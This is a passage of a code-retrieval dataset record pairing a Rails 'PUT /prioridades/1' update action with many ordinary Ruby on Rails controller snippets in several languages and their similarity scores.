end\n end\n end",
"def destroy\n @prioridade = Prioridade.find(params[:id])\n @prioridade.destroy\n\n respond_to do |format|\n format.html { redirect_to prioridades_url }\n format.json { head :no_content }\n end\n end",
"def relatorio_params\n params.require(:relatorio).permit(:relatorio_data, :aluno_id, :funcionario_id)\n end",
"def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, notice: 'Premio was successfully created.' }\n format.json { render json: @premio, status: :created, location: @premio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def atividade_params\n params.require(:atividade).permit(:nome, :tipo, :descricao, :observacao, :acompanhamento, :status, :oportunidade_id, :prioridade, :data_prevista_inicio, :data_realizada_fim, :data_realizada, :cliente_potencial_id)\n end",
"def create\n @lancamento = Lancamento.new(lancamento_params)\n\n @data = @lancamento.data\n @parcela = (@lancamento.parcela - 1)\n @n = 1\n\n\n respond_to do |format|\n\n if @lancamento.save\n\n if @parcela > 1\n for i in 1..@parcela\n lancamento = @lancamento.dup\n lancamento.data = (@data += 1.month)\n lancamento.parcela = (@n += 1)\n lancamento.save!\n end\n end\n\n\n format.html { redirect_to @lancamento, notice: 'Lancamento was successfully created.' }\n format.json { render :show, status: :created, location: @lancamento }\n format.js\n else\n format.html { render :new }\n format.json { render json: @lancamento.errors, status: :unprocessable_entity }\n format.js\n end\n end\n \n end",
"def resource_params\n params.require(:tratamiento).permit(:tipo)\n end",
"def pago_params\n params.require(:pago).permit(:concepto, :cantidad, :jugador_id)\n end",
"def create\n @trpriority = Trpriority.new(trpriority_params)\n\n respond_to do |format|\n if @trpriority.save\n format.html { redirect_to @trpriority, notice: 'Trpriority was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trpriority }\n else\n format.html { render action: 'new' }\n format.json { render json: @trpriority.errors, status: :unprocessable_entity }\n end\n end\n end",
"def trabajo_params\n params.require(:trabajo).permit(:nombre, :precio)\n end",
"def pergunta_params\n params.require(:pergunta).permit(:enunciado, :tipo, :topico_id)\n end",
"def prueba_json_params\n params[:prueba_json]\n end",
"def create\n @reqpriority = Reqpriority.new(reqpriority_params)\n\n respond_to do |format|\n if @reqpriority.save\n format.html { redirect_to @reqpriority, notice: 'Reqpriority was successfully created.' }\n format.json { render action: 'show', status: :created, location: @reqpriority }\n else\n format.html { render action: 'new' }\n format.json { render json: @reqpriority.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # authorize preorder_conversition\n member = Member.where(id: params[:preorder_conversition][:member_id]).first\n @preorder_conversition = @site.preorder_conversitions.new(permitted_attributes(PreorderConversition).merge(user_id: current_user.id, member_name: member.name, member_phone: member.mobile_phone))\n if @preorder_conversition.save\n render json: {status: 'ok', url: agent_preorder_conversitions_path}\n else\n render json: {status: 'error', message:@preorder_conversition.errors.full_messages.join(',')}\n end\n end",
"def presponsable_params\n params.require(:presponsable).permit(:nombre)\n end",
"def predio_params\n params.require(:predio).permit(:cd_sindico, :nm_sindico, :nm_predio, :cd_numero, :cd_bloco, :cd_cep, :ds_endereco, :ds_municipio, :ds_regioesSociais, :cd_telefone)\n end",
"def create\n @relationships = Relationship.paginate(:page => params[:page], :per_page => 30).order('updated_at DESC')\n @relationship = Relationship.create(params[:relationship])\n end",
"def create\n @predio = Predio.new(predio_params)\n\n respond_to do |format|\n if @predio.save\n format.html { redirect_to @predio, notice: 'Predio foi criado com sucesso.' }\n format.json { render :show, status: :created, location: @predio }\n else\n format.html { render :new }\n format.json { render json: @predio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reuniao_params\n params.require(:reuniao).permit(:titulo, :data, :horaInicio, :horaFim, :status, :local_id, :pautum_id, :atum_id, :category_id)\n end",
"def create\n @post = Post.create(post_params)\n puts \"LLLLLOOOOOOOLLLLLL\"\n puts current_usuario.to_json\n @post = current_usuario.posts.create(post_params)\n \n @post.sangre = current_usuario.tipoDeSangre\n\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n existe = UsuarioPartida.where(:partida_id => params[:usuario_partida][:partida_id], :usuario_id => params[:usuario_partida][:usuario_id]).first\n @partida = Partida.find(params[:usuario_partida][:partida_id])\n count = UsuarioPartida.where(:partida_id => params[:usuario_partida][:partida_id]).count\n \n respond_to do |format|\n if @partida.cantidad_jugadores > count && existe.nil?\n @usuario_partida = UsuarioPartida.new(params[:usuario_partida])\n if @usuario_partida.save\n count = count + 1\n if @partida.cantidad_jugadores = count\n @partida.update_attributes(:estado => true)\n end\n format.html { redirect_to @usuario_partida, notice: 'Usuario partida was successfully created.' }\n format.json { render json: @usuario_partida, status: :created, location: @usuario_partida }\n else\n format.html { render action: \"new\" }\n format.json { render json: {:id => 0} }\n end\n else\n format.html { redirect_to usuario_partidas_path, notice: 'El usuario ya existe en la partida o ya se agotaron los cupos.' }\n format.json { render json: {:id => 0} }\n end\n end\n end",
"def create\n #Parámetros permitidos.\n pago_params\n\n #Asignación de variables.\n fact = params[:pago][:factura_id]\n fecha = params[:pago][:fechapago]\n factura = Factura.find_by(id: fact)\n\n #Editar pago.\n @pago = Pago.new\n @pago.factura_id = fact\n @pago.fechapago = fecha\n @pago.monto = factura.total\n\n respond_to do |format|\n if @pago.save\n #Inserción en la cuenta corriente cliente por el haber.\n ctactecli = Ctactecli.find_by(cliente_id: factura.cliente_id)\n detallectactecli = Detallectactecli.new\n detallectactecli.ctactecli_id = factura.cliente_id\n detallectactecli.fechadetalle = Date.today\n detallectactecli.tipodetalle = 'Crédito por factura'\n detallectactecli.haber = factura.total\n detallectactecli.save\n ctactecli.saldo = ctactecli.saldo - factura.total\n ctactecli.save\n\n format.json { render :show, status: :created, location: @pago }\n puts'Pago guardado'\n #format.html { redirect_to @pago, notice: 'Pago was successfully created.' }\n else\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n puts'Pago no guardado'\n #format.html { render :new }\n end\n end\n end",
"def create\n @thema = Thema.new(params[:thema])\n \n @themen = @thema.themengruppe.themen.order(:priority).reverse\n respond_to do |format|\n if @thema.save\n format.html { redirect_to @thema, notice: 'Thema was successfully created.' }\n format.json { render json: @thema, status: :created, location: @thema }\n format.js {render action: \"update\"}\n else\n format.html { render action: \"new\" }\n format.json { render json: @thema.errors, status: :unprocessable_entity }\n format.js { render action: \"edit\" }\n end\n end\n end",
"def create\n authorize! :create,Beneficiario\n solicitante=Solicitante.find(params[:solicitante_id])\n @beneficiario = Beneficiario.create(beneficiario_params)\n @beneficiario.historiales.build(parentesco: beneficiario_params[:parentesco], solicitante_id: solicitante.id)\n respond_to do |format|\n if @beneficiario.save\n format.html { redirect_to solicitante_beneficiario_path(solicitante, @beneficiario), notice: 'Beneficiario creado exitosamente.' }\n format.json { render :show, status: :created, location: solicitante_beneficiario_path(solicitante, @beneficiario) }\n else\n format.html { render :new }\n format.json { render json: @beneficiario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ponderacion_params\n params.require(:ponderacion).permit(:id_ponderacion, :segmento, :valor, :fecha)\n end",
"def tecnicos_postulados\n coleccion = []\n self.request.each do |request|\n info = {}\n info[:id] = request.id\n info[:article] = request.article\n info[:servicio] = request.service.description\n info[:tecnicos] = request.proposal\n coleccion.append(info)\n end\n coleccion\n end",
"def create\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.new(params[:pago])\n\n respond_to do |format|\n if @pago.save\n format.html { redirect_to [@cliente, @pago], notice: 'Pago was successfully created.' }\n format.json { render json: @pago, status: :created, location: @pago }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trabajo = Trabajo.find(params[:trabajo_id])\n @presupuestos = @trabajo.presupuestos.order(\"aprobado DESC, rechazado ASC\")\n\n add_breadcrumb @trabajo.proposito, trabajo_path(@trabajo)\n add_breadcrumb \"Presupuestos\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @presupuestos }\n end\n end",
"def unidad_params\n params.fetch(:unidad, {})\n #params.require(:unidad).permit(:name, :parent_id)\n end",
"def create\n @pagos_servicio = PagosServicio.new(pagos_servicio_params)\n respond_to do |format|\n if @pagos_servicio.save\n @caja = Caja.where(estado: 0).last\n @mov_caja = MovCaja.create!(caja_id: @caja.id, concepto: @pagos_servicio.servicio, ingreso: 0, egreso: @pagos_servicio.monto, saldo: @caja.cierre.to_i - @pagos_servicio.monto.to_i)\n @caja.update(cierre: @caja.cierre.to_i - @pagos_servicio.monto.to_i, salida: @caja.salida.to_i + @pagos_servicio.monto.to_i)\n format.html { redirect_to @pagos_servicio, notice: 'Se ha registrado el pago correctamente.' }\n format.json { render :show, status: :created, location: @pagos_servicio }\n else\n format.html { render :new }\n format.json { render json: @pagos_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prestamo_params\n params.fetch(:prestamo, {}).permit(:usuario_id, :libro_id, :dias_prestados, :fecha_devolucion, :fecha_prestamo)\n end",
"def problema_params\n params.require(:problema).permit(:descricao, :resposta, :status, :relator)\n end",
"def index\n @reqpriorities = Reqpriority.all\n end",
"def prerequisite_params\n params[:prerequisite].permit :prerequisite_number, :waiver_question\n end",
"def create\n @pergunta = @topico.perguntas.new(pergunta_params)\n\n respond_to do |format|\n if @pergunta.save\n format.html { redirect_to set_path, notice: 'Pergunta criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @pergunta }\n else\n format.html { render action: 'new' }\n format.json { render json: @pergunta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_preorders?\n get_new_preorders.each { |unpermitted_params|\n permitted_params = permitted_create_preorder_params(unpermitted_params)\n @preorder = @menu.preorders.build(permitted_params)\n if @preorder.save\n # If successful, no need to give response\n else\n # Status code: 422\n render json: { errors: @preorder.errors }, status: :unprocessable_entity\n return false\n end\n }\n\n return true\n end",
"def create\n\t@historia = Historiausuario.new(historia_params)\n\t @proyecto = Proyecto.find(historia_params[:proyecto_id])\n @numhistorias=@proyecto.historiausuarios.count()\n @historia.update(His_Prioridad: (@numhistorias-1));\n\tif @historia.save\n\t\tflash[:notice] = \"Historia creada satisfactoriamente\"\n\t\tredirect_to project_details_path(:id => historia_params[:proyecto_id] )\n\telse \n\t\tflash[:alert] = \"No se puede crear la historia\"\n\t\tredirect_to project_details_path(:id => historia_params[:proyecto_id] )\n\tend\nend",
"def pagamento_params\n params.require(:pagamento).permit(:datapgto, :valor, :status, :fornecedor_id)\n end",
"def create\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n project = @task.project\n project.priority = project.priority + [@task.id]\n project.save\n format.json { render :show, status: :created, location: @task }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def requiero_params\n params.require(:requiero).permit(:usuario_id, :tipoResiduo_id)\n end",
"def create\n p = prediction_params\n\n p[:tags] = [p[:tags]]\n puts \"BLAH\"\n puts p\n @prediction = current_user.predictions.create(p)\n respond_to do |format|\n if @prediction.save\n format.html { redirect_to action: 'index' }\n format.json { render action: 'show', status: :created, location: @prediction }\n else\n format.html { render action: 'new' }\n format.json { render json: @prediction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def historial_estado_presupuesto_params\n params.require(:historial_estado_presupuesto).permit(:esActual, :fechaCambioEstado, :presupuesto_id, :estado_presupuesto_id)\n end",
"def create_favorite\r\n favorite = RequestFavorite.find(params[:request_id]).request\r\n request = Request.new(user_id: favorite.user_id, service_id: favorite.service_id, description: favorite.description, service_type: favorite.service_type, payment_method: favorite.payment_method, vehicle_type: favorite.vehicle_type, latitud: favorite.latitud, longitud: favorite.longitud, status: '')\r\n if request.save\r\n render json: request\r\n else\r\n render json: {errors: request.errors.full_messages}, status: 422\r\n end\r\n end",
"def postulacion_params\n params.require(:postulacion).permit(:aceptado, :proyecto_id, :usuario_id)\n end",
"def requisito_params\n params.require(:requisito).permit(:parent_id, :child_id)\n end",
"def set_pre_contrato\n @pre_contrato = PreContrato.find(params[:id])\n end",
"def new\n @prior = Prior.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prior }\n format.csv { render :csv => @prior }\n format.json { render :json => @prior }\n end\n end",
"def prestamo_estado_params\n params.require(:prestamo_estado).permit(:nomEstPres, :desEstPres)\n end",
"def create\n @puntuation = Puntuation.new(puntuation_params)\n\n respond_to do |format|\n if @puntuation.save\n @voted_contribution = Contribution.find(@puntuation.contribution_id)\n @voted_contribution.increment!(:puntuation, 1)\n format.html { redirect_to :back }\n format.json { render :show, status: :created, location: @puntuation }\n else\n format.html { render :new }\n format.json { render json: @puntuation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def presupuesto_params\n params.permit(:fechaPresentacion, :montoTotal, :aprobado, :proyecto_id, :restriccion_id, :usuario_id, :evaluado)\n end",
"def estado_presupuesto_params\n params.require(:estado_presupuesto).permit(:nombre, :descripcion)\n end",
"def create\n authorize! :create, Tipo\n @tipo = Tipo.new(tipo_params)\n log(\"Se ha creado la nomina #{@lt}\", 0)\n\n respond_to do |format|\n if @tipo.save\n format.html { redirect_to tipos_path, notice: 'La nómina fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @tipo }\n else\n format.html { render :new }\n format.json { render json: @tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prob = Prob.new(params[:prob])\n states = @prob.state.split(\"\\n\")\n a = 0\n states.each do |state|\n @state = @prob.states.build(\n prob_id: @prob.id,\n compo: state,\n ans: a\n )\n a = 1\n end\n\n\n respond_to do |format|\n if @prob.save\n format.html { redirect_to @prob, notice: 'Prob was successfully created.' }\n format.json { render json: @prob, status: :created, location: @prob }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pago = Pago.new(params[:pago])\n\n respond_to do |format|\n if @pago.save\n format.html { render :text => @pago.attributes.merge( :saldo => @pago.saldo ).to_json }\n format.xml { render :xml => @pago, :status => :created, :location => @pago }\n else\n format.html { render :action => \"new\", :status => :unprocessable_entity }\n format.xml { render :xml => @pago.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n @question.zavrseno = \"N\"\n @question.user = @current_user\n @question.uposlenik = User.find(params[:uposlenik_id])\n respond_to do |format|\n if @question.save\n format.json { render json: @question, status: :created, location: api_question_url(@question) }\n else\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n linea_id = nil\n recoleccions = Array.new\n all_recoleccion_valid = true\n numero_secuencia = nil\n linea_inicial = params[:linea]\n codigo_paradero_inicial=params[:paradero_inicial]\n secuencia_paraderos = nil\n \n begin \n # Buscar todas las lineas para encontrar el id\n lineas = JSON.parse(open(\"http://citppuc.cloudapp.net/api/lineas\").read)\n #Accion para encontra el id\n lineas.each do |linea|\n linea_id = linea[\"linea_id\"] if linea[\"codigo_linea\"] == linea_inicial\n end\n #fetch secuencia y encontrar la sequencia donde parte\n if linea_id\n secuencias = JSON.parse(open(\"http://citppuc.cloudapp.net/api/lineas/\"+linea_id.to_s).read)\n end\n #Aqui cambiar la logica para los distintos horarios\n \n tr = DateTime.parse(params[:recoleccion][0][\"llegada_paradero\"])\n \n secuencias[\"secuencias\"].each do |secuencia|\n secuencia[\"horarios\"].each do |horario|\n if Recoleccion.cmp_wday horario[\"dias\"], tr\n if( tr.strftime(horario[\"hora_inicio\"]) < tr.strftime('%H:%M:%S') and tr.strftime('%H:%M:%S') < tr.strftime(horario[\"hora_termino\"]) )\n secuencia[\"secuencia_paraderos\"][0..-2].each do |paradero|\n if paradero[\"codigo_paradero\"].casecmp(codigo_paradero_inicial) == 0\n secuencia_paraderos = secuencia[\"secuencia_paraderos\"]\n end\n end\n end\n end\n end\n end\n # secuencia_paraderos[0] -> primer paradero de la sequencia\n #Encuentra el numero de la sequencia a la que pertenece el paradero inicial\n secuencia_paraderos.each do |paradero|\n if paradero[\"codigo_paradero\"].casecmp(codigo_paradero_inicial) == 0\n numero_secuencia = paradero[\"numero_secuencia\"].to_i \n break\n end\n end\n #incializa las recolecciones\n params[:recoleccion].each do |recoleccion|\n #revisar cual es mas cercano\n sqr_error = 1000\n for i in 0..10\n i -= secuencia_paraderos.count+1 if numero_secuencia-5+i > secuencia_paraderos.count\n if secuencia_paraderos[numero_secuencia-5+i]\n sqr_error_act = (recoleccion[\"latitude\"].to_f - secuencia_paraderos[numero_secuencia-5+i][\"gps_latitud\"].to_f)**2 +\n (recoleccion[\"longitude\"].to_f - secuencia_paraderos[numero_secuencia-5+i][\"gps_longitud\"].to_f)**2\n #puts sqr_error_act\n if (sqr_error >= sqr_error_act)\n sqr_error = sqr_error_act\n paradero = secuencia_paraderos[numero_secuencia-5+i][\"codigo_paradero\"]\n end\n end\n end\n #Setear datos genericos\n recoleccion[\"paradero\"] = paradero \n recoleccion[\"recorrido\"] = linea_inicial\n recoleccion[\"patente\"] = params[:patente]\n recoleccion[\"puerta\"] = params[:puerta]\n recoleccion[\"nombre\"] = params[:nombre]\n \n new_recoleccion = Recoleccion.new(recoleccion)\n recoleccions << new_recoleccion\n unless new_recoleccion.valid?\n all_recoleccion_valid = false\n invalid_recoleccion = recoleccion\n end\n end\n puts \"Paradero ecnontrado\"\n rescue\n puts \"Error al encontrar el paradero\"\n params[:recoleccion].each do |recoleccion|\n recoleccion[\"patente\"] = params[:patente]\n recoleccion[\"puerta\"] = params[:puerta]\n recoleccion[\"nombre\"] = params[:nombre]\n recoleccion[\"recorrido\"] = params[:linea]\n recoleccion[\"paradero\"] = \"error\"+params[:paradero_inicial]\n new_recoleccion = Recoleccion.new(recoleccion)\n recoleccions << new_recoleccion\n unless new_recoleccion.valid?\n all_recoleccion_valid = false\n invalid_recoleccion = recoleccion\n end\n end\n end\n \n respond_to do |format|\n if all_recoleccion_valid\n @recoleccions = []\n recoleccions.each do |recoleccion|\n recoleccion.save\n @recoleccions << recoleccion\n end\n format.html { redirect_to @recoleccions.first, notice: 'Recoleccion was successfully created.' }\n format.json { render json: @recoleccions, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: invalid_recoleccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def representante_params\n params.require(:representante).permit(:responsavel, :nome_fantasia, :cpf_cnpj, :telefone, :email, :cep, :endereco, :logradouro, :bairro, :cidade, :estado, :status)\n end",
"def create\n if !params[:_json].blank?\n params[:_json] = JSON.parse params[:_json] if params[:_json].is_a? String\n \n #Routine de transformation en CSV\n json = params[:_json][0]\n headers = []\n values = []\n csv_string = CSV.generate do |csv|\n json.each do |key, value|\n if (!key.blank? && !value.blank? && value!=\"Autre\")\n #Exclusion de certain champs Limesurvey\n if !['id','Complété','Dernière page vue','Langue de départ', 'FusionQuestion', 'Code'].include?(key)\n #Nettoyage des champs du type \"champs [other]\"\n if key.include?(\" [other]\")\n #puts \"test [other]\"\n key = key.split(\" [other]\")[0] \n end\n headers << key\n values << value \n end\n end\n end\n csv << headers\n csv << values\n end\n \n @questionnaire = Questionnaire.new(params[:questionnaire])\n @questionnaire.content = csv_string\n profil_id, category_id = json['FusionQuestion'].to_s.split(\"/\")\n @questionnaire.profil = Profil.find(id=profil_id)\n @questionnaire.category = Category.find(id=category_id)\n end\n \n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n else\n format.html { render action: \"new\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def incident_params\n params.require(:incident).permit(:tipo, :descripcion, :prioridad)\n end",
"def passed\n # the non-preliminary ones go first\n @proposals = Proposal.select{ |p| p.committee.preliminary == false and p.status == 'Passed'}\n @proposals += Proposal.select{ |p| p.committee.preliminary == true and p.status == 'Passed'}\n\n respond_to do |format|\n format.html # passed.html.erb\n format.json { render json: @proposals }\n end\n end",
"def create\n @jugador = Jugador.find_by(id: params[:pago][:jugador_id])\n @pago = @jugador.pagos.build(pago_params)\n #@pago.jugador_id = params[:jugador_id]\n\n respond_to do |format|\n if @pago.save\n format.html { redirect_to jugadores_path, notice: 'Se ha registrado exitosamente el pago.' }\n format.json { render :show, status: :created, location: @pago }\n else\n format.html { render :new }\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n end\n end\n end",
"def unidad_params\n params.require(:unidad).permit(:nombre)\n end",
"def create\n @sugerencia = Sugerencia.new(params[:sugerencia])\n\n respond_to do |format|\n if @sugerencia.save\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully created.' }\n format.json { render :json => @sugerencia, :status => :created, :location => @sugerencia }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def historial_params\n params.require(:historial).permit(:padecimiento, :status, :patologico, :familiares, :examen, :anexo, :unificada, :autorizar, :firma, :customer_id)\n end"
] |
[
"0.70679057",
"0.6845849",
"0.6630831",
"0.62737477",
"0.5998517",
"0.58468163",
"0.5691621",
"0.56160337",
"0.5428785",
"0.5353195",
"0.53161705",
"0.5243606",
"0.5241518",
"0.52350783",
"0.5193632",
"0.5176723",
"0.51413196",
"0.5127833",
"0.51077884",
"0.5103316",
"0.5090685",
"0.50825584",
"0.5082179",
"0.5049714",
"0.5049106",
"0.5038248",
"0.5038091",
"0.5001928",
"0.49978957",
"0.49915075",
"0.49885073",
"0.4979153",
"0.4965598",
"0.49643216",
"0.4962299",
"0.49521136",
"0.49479493",
"0.4936501",
"0.49344507",
"0.49053767",
"0.48946884",
"0.48870626",
"0.48867974",
"0.48792723",
"0.48698846",
"0.4867389",
"0.4864815",
"0.4860534",
"0.48600978",
"0.48600146",
"0.48484406",
"0.48453084",
"0.48431462",
"0.48397624",
"0.48361516",
"0.4830429",
"0.48293456",
"0.4821625",
"0.48211607",
"0.48085478",
"0.4807536",
"0.48074123",
"0.48051783",
"0.480252",
"0.47940037",
"0.47852576",
"0.47802645",
"0.47778603",
"0.47760847",
"0.47740003",
"0.47666758",
"0.47584516",
"0.47560793",
"0.47556803",
"0.47532487",
"0.47525784",
"0.47449753",
"0.47445896",
"0.47340554",
"0.47320175",
"0.473137",
"0.47290042",
"0.4722743",
"0.47179586",
"0.47133636",
"0.46977276",
"0.46952373",
"0.46919048",
"0.46907598",
"0.46868724",
"0.46817398",
"0.46805146",
"0.46756697",
"0.46746576",
"0.46713483",
"0.4669919",
"0.46683294",
"0.4666913",
"0.46661556",
"0.46660084"
] |
0.7365912
|
0
|
PUT /prioridades/1 PUT /prioridades/1.json
|
def update
@prioridade = Prioridade.find(params[:id])
respond_to do |format|
if @prioridade.update_attributes(params[:prioridade])
format.html { redirect_to @prioridade, notice: 'Prioridade was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @prioridade.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_prioridad\n @prioridad = Prioridad.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @prioridad.update(prioridad_params)\n format.html { redirect_to @prioridad, notice: 'Se ha actualizado la Prioridad.' }\n format.json { render :show, status: :ok, location: @prioridad }\n else\n format.html { render :edit }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prioridade_adocao = PrioridadeAdocao.find(params[:id])\n\n respond_to do |format|\n if @prioridade_adocao.update_attributes(params[:prioridade_adocao])\n format.html { redirect_to @prioridade_adocao, notice: 'Prioridade adocao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prioridade_adocao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prioridade = Prioridade.new(params[:prioridade])\n\n respond_to do |format|\n if @prioridade.save\n format.html { redirect_to @prioridade, notice: 'Prioridade was successfully created.' }\n format.json { render json: @prioridade, status: :created, location: @prioridade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prioridad_params\n params.require(:prioridad).permit(:descripcion, :valor)\n end",
"def create\n @prioridad = Prioridad.new(prioridad_params)\n\n respond_to do |format|\n if @prioridad.save\n format.html { redirect_to @prioridad, notice: 'Se ha creado una nueva Prioridad.' }\n format.json { render :show, status: :created, location: @prioridad }\n else\n format.html { render :new }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prior = Prior.find(params[:id])\n\n respond_to do |format|\n if @prior.update_attributes(params[:prior])\n flash[:notice] = 'Prior was successfully updated.'\n format.html { redirect_to( edit_prior_path(@prior)) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @prior.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @prior.errors, :status => :unprocessable_entity }\n format.json { render :json => @prior.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @prioridade_adocao = PrioridadeAdocao.new(params[:prioridade_adocao])\n\n respond_to do |format|\n if @prioridade_adocao.save\n format.html { redirect_to @prioridade_adocao, notice: 'Prioridade adocao was successfully created.' }\n format.json { render json: @prioridade_adocao, status: :created, location: @prioridade_adocao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade_adocao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @proposal = Proposal.find(params[:id])\n old_priority = @proposal.priority\n\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n new_priority = @proposal.priority\n\n # insert proposal in order \n if new_priority > old_priority\n @proposal.insert_at_priority(@proposal.priority, \"ASC\")\n else\n @proposal.insert_at_priority(@proposal.priority, \"DESC\")\n end\n\n format.html { redirect_to proposals_path, notice: 'Proposal was successfully created.' }\n format.json { head :no_content }\n else\n format.html { redirect_to proposals_path, notice: 'Proposal submission unsuccessful, most probably because of duplication. ' }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @prioridade = Prioridade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def destroy\n @prioridade = Prioridade.find(params[:id])\n @prioridade.destroy\n\n respond_to do |format|\n format.html { redirect_to prioridades_url }\n format.json { head :no_content }\n end\n end",
"def update\n @pre_step = PreStep.find(params[:id])\n\n respond_to do |format|\n if @pre_step.update_attributes(params[:pre_step])\n format.html { redirect_to @pre_step, notice: 'Pre step was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre_step.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_pre_contrato\n @pre_contrato = PreContrato.find(params[:id])\n end",
"def update\n @pre = Pre.find(params[:id])\n\n respond_to do |format|\n if @pre.update_attributes(params[:pre])\n format.html { redirect_to @pre, notice: 'Pre was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prior = Prior.new(params[:prior])\n\n respond_to do |format|\n if @prior.save\n flash[:notice] = 'Prior was successfully created.'\n format.html { redirect_to( edit_prior_path(@prior) ) }\n format.xml { render :xml => @prior, :status => :created, :location => @prior }\n format.csv { render :csv => @prior, :status => :created, :location => @prior }\n format.json { render :json => @prior, :status => :created, :location => @prior }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prior.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @prior.errors, :status => :unprocessable_entity }\n format.json { render :json => @prior.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n if @preceed.update_attributes(params[:preceed])\n format.html { redirect_to @preceed, notice: 'Preceed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prepagada = Prepagada.find(params[:id])\n\n respond_to do |format|\n if @prepagada.update_attributes(params[:prepagada])\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n if params[:priority]\n @request.priority = params[:priority]\n elsif params[:is_complete]\n @request.is_complete = params[:is_complete]\n end\n\n @request.save\n\n render text: 'OK'\n end",
"def new\n @prioridade_adocao = PrioridadeAdocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end",
"def index\n @prioridads = Prioridad.all\n end",
